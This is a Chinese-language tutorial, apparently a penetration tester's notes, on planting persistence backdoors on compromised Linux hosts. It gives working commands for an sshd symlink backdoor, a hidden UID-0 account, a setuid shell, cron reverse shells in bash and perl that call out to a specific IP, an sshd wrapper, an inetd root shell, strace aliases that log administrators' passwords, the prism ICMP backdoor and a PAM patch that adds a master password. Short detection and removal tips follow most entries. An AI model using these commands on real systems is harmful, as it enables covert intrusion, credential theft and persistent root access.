目錄
ssh軟連接
#只有root用戶才可以這種方法
#拿到root權限后執行
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
#任意密碼連接5555端口
ssh root@106.13.124.93:5555
ssh root@106.13.124.93 -p 5555
檢測:查看可疑進程
# ps aux
清除后門:
結束進程即可,
# kill -s 9 PID
添加用戶
root權限
一句話添加用戶
useradd guest;echo 'guest:123456'|chpasswd
#vi /etc/passwd
最后一行改為(要修改,不要新加一行):
guest:x:0:1002:::/bin/bash
這樣可以用guest-123456用戶來登陸了,而且是root權限
修改/etc/sudoers文件
新建普通用戶,修改sudoers文件
解決:手動編輯文件
# visudo
suid后門
root權限下:
# chmod 4755 /bin/dash
這里注意一下不能是/bin/bash,因為Linux某種機制原因沒有root權限。
普通用戶下 執行:
# /bin/dash
就能獲得root權限了
檢測:
# find / -perm -u=s -type f 2>/dev/null
# find / -user root -perm -4000 -exec ls -ldb {} \;
# find / -user root -perm -4000 -print 2>/dev/null
解決:取消s權限,例如
# chmod u-s /usr/sbin/find
crontab反彈shell后門
當 /bin/sh指向/bin/dash的時候,反彈shell用bash的話必須得這樣彈:
* * * * * root bash -c "bash -i >&/dev/tcp/106.13.124.93/2333 0>&1"
這句話的意思是,這種方法仍然適合/bin/bash指向/bin/bash的主機
ubuntu中,不能指定用戶名
* * * * * bash -c "bash -i >&/dev/tcp/106.13.124.93/2333 0>&1"
或者有權限改變/bin/sh的連接指向/bin/bash后:
ln -s -f /bin/bash /bin/sh
反彈shell可以用最常見的辦法:
* * * * * /bin/bash -i >& /dev/tcp/ip(vps)/7999 0>&1
如果不用bash:
*/1 * * * * root perl -e 'use Socket;$i="106.13.124.93";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
其他的反彈shell方法自己探索吧
解決:
# crontab -e
或者直接進目錄查看文件(此目錄為ubuntu,其他系統存在不同)
# ls -al /var/spool/cron/crontabs/
ssh免密登錄
A:106.13.124.93
B:101.132.104.215
現在B想配置免密登錄連接A
B:
# ssh-keygen -b 4096 -t rsa
連着三次回車默認就行了,在/root/.ssh/目錄下生成了兩個文件,id_rsa和id_rsa.pub文件。
# cat /root/.ssh/id_rsa.pub
全部復制文件內容
A:
# vi /root/.ssh/authorized_keys
id_rsa.pub內容粘貼到文件里面(如果原來存在內容就另起一行粘貼)
# chmod 600 /root/.ssh/authorized_keys
# chmod 700 /root/.ssh
B:
# ssh -i /root/.ssh/id_rsa root@106.13.124.93
解決:
一般情況下,我們是不會去禁用免密登錄的(實質上為用私鑰登陸)。
所以我們只好手動查看/root/.ssh/authorized_keys文件
ssh wrapper后門
受害者主機:
# cd /usr/sbin
# mv sshd ../bin
# echo '#!/usr/bin/perl' >sshd
# echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
# echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
# chmod u+x sshd
# /etc/init.d/sshd restart(在我的測試環境上是/etc/init.d/ssh restart,可以進入目錄直接查看,目的是讓ssh服務重啟)
攻擊者主機:
# socat STDIO TCP4:106.13.124.93:22,sourceport=13377
檢測:
# ls -al /usr/sbin/sshd
# cat /usr/sbin/sshd
解決:
# rm -rf /usr/sbin/sshd
# mv /usr/bin/sshd /usr/sbin;
# /etc/init.d/ssh restart
或者直接重裝ssh服務
inetd
受害者主機:
# vi /etc/inetd.conf
添加內容
daytime stream tcp nowait root /bin/bash bash -i
重啟
# service inetd restart
攻擊者:
# nc -vv 106.13.124.93(受害者ip) 13
檢測:手動查看/etc/inetd.conf文件
消除后門:
修改配置文件,關閉inetd
關閉inetd后,bash的連接仍然存在,需要手動殺死進程
# kill -s 9 14264
strace后門
攻擊者:
已經拿到了主機的權限,在主機的管理員用ssh命令時候,記錄下密碼到/tmp/.ssh.log下面
# vi /root/.bashrc
加入內容
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
更新配置文件
# source /root/.bashrc
管理員的受害過程:
管理員不知道有后門,他在這台主機上連接另外一台主機
# ssh zzz@101.132.104.215
輸入密碼登陸成功后,/tmp/.ssh.log便記錄下了zzz的密碼和相關主機的ip
也可配置全局的文件,我們一開始只是給root用戶配置上了
# vi /etc/bash.bashrc
生效
# source /etc/bash.bashrc
現在每個用戶su的時候密碼都會被記錄了
su,sudo同樣的道理
alias su='strace -o /tmp/.su.log -e read,write,connect -s 2048 su'
檢測:
# alias
消除:
修改配置,並且souce命令使其生效
協議后門
一般來說,主機的防火牆攔截外部來的流量到達內部某個端口,但是在一些訪問嚴格被控制的電腦也會被限制你從內部訪問外部。
icmp
使用情況:主機從內到外的服務也被僅用了很多,但是icmp沒有被禁用(一般很少禁用ping命令)
工具:https://github.com/andreafabrizi/prism
icmp模式:
條件:雙方能夠ping通就行,建議先檢查一下這個
1.受害機:192.168.3.135
# vi prism.c
設置主要有三點
define REVERSE_HOST "192.168.3.200"(攻擊主機)
define REVERSE_PORT 2333 (攻擊主機監聽的端口)
define ICMP_KEY "1234"(密碼)
編譯
# gcc -DDETACH -DNORENAME -Wall -s -o prism prism.c
運行
# ./prism
2.攻擊機192.168.3.200
監聽端口2333
# nc -lvp 2333
3.攻擊機
# ./sendPacket.py 192.168.3.135 1234 192.168.3.200 2333
4.攻擊機收到shell
static模式
1.攻擊機101.132.104.215
# nc -lvp 9876
2.受害機:106.13.124.93
# vi prism.c(編輯內容同上)
# gcc -DSTATIC -DDETACH -DNORENAME -Wall -s -o prism prism.c
# ./prism
3.攻擊機收到shell
清除
1.重啟即可失效
2.把名字prism的進程全部結束
# ps -ef|grep "./prism"|grep -v grep|awk '{print $2}'|xargs kill -9
3.關閉可疑的/bin/sh或者/bin/bash進程(斷開已連接的shell)
2.3必須配合使用
PAM后門
環境:百度雲 ubuntu16.04 64位
查看pam版本:
# dpkg -l | grep pam
我的版本是1.18
下載未編譯過的PAM:https://src.fedoraproject.org/repo/pkgs/pam/
# cd /root (下邊的指令都是基於root目錄)
# wget https://src.fedoraproject.org/repo/pkgs/pam/Linux-PAM-1.1.8.tar.bz2/35b6091af95981b1b2cd60d813b5e4ee/Linux-PAM-1.1.8.tar.bz2
解壓:
# tar xjf Linux-PAM-1.1.8
編輯后門:
# /root/Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c
找到這一句:
retval = _unix_verify_password(pamh, name, p, ctrl);
修改為:
if (strcmp(p, "123456") != 0) {
retval = _unix_verify_password(pamh, name, p, ctrl);
} else {
retval = PAM_SUCCESS;
}
123456為后門密碼
編譯:
# cd /root/Linux-PAM-1.1.8
# ./configure
# make
替換文件:
# cp /root/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/securitypam_unix.so
驗證:
用xshell root-123456登陸成功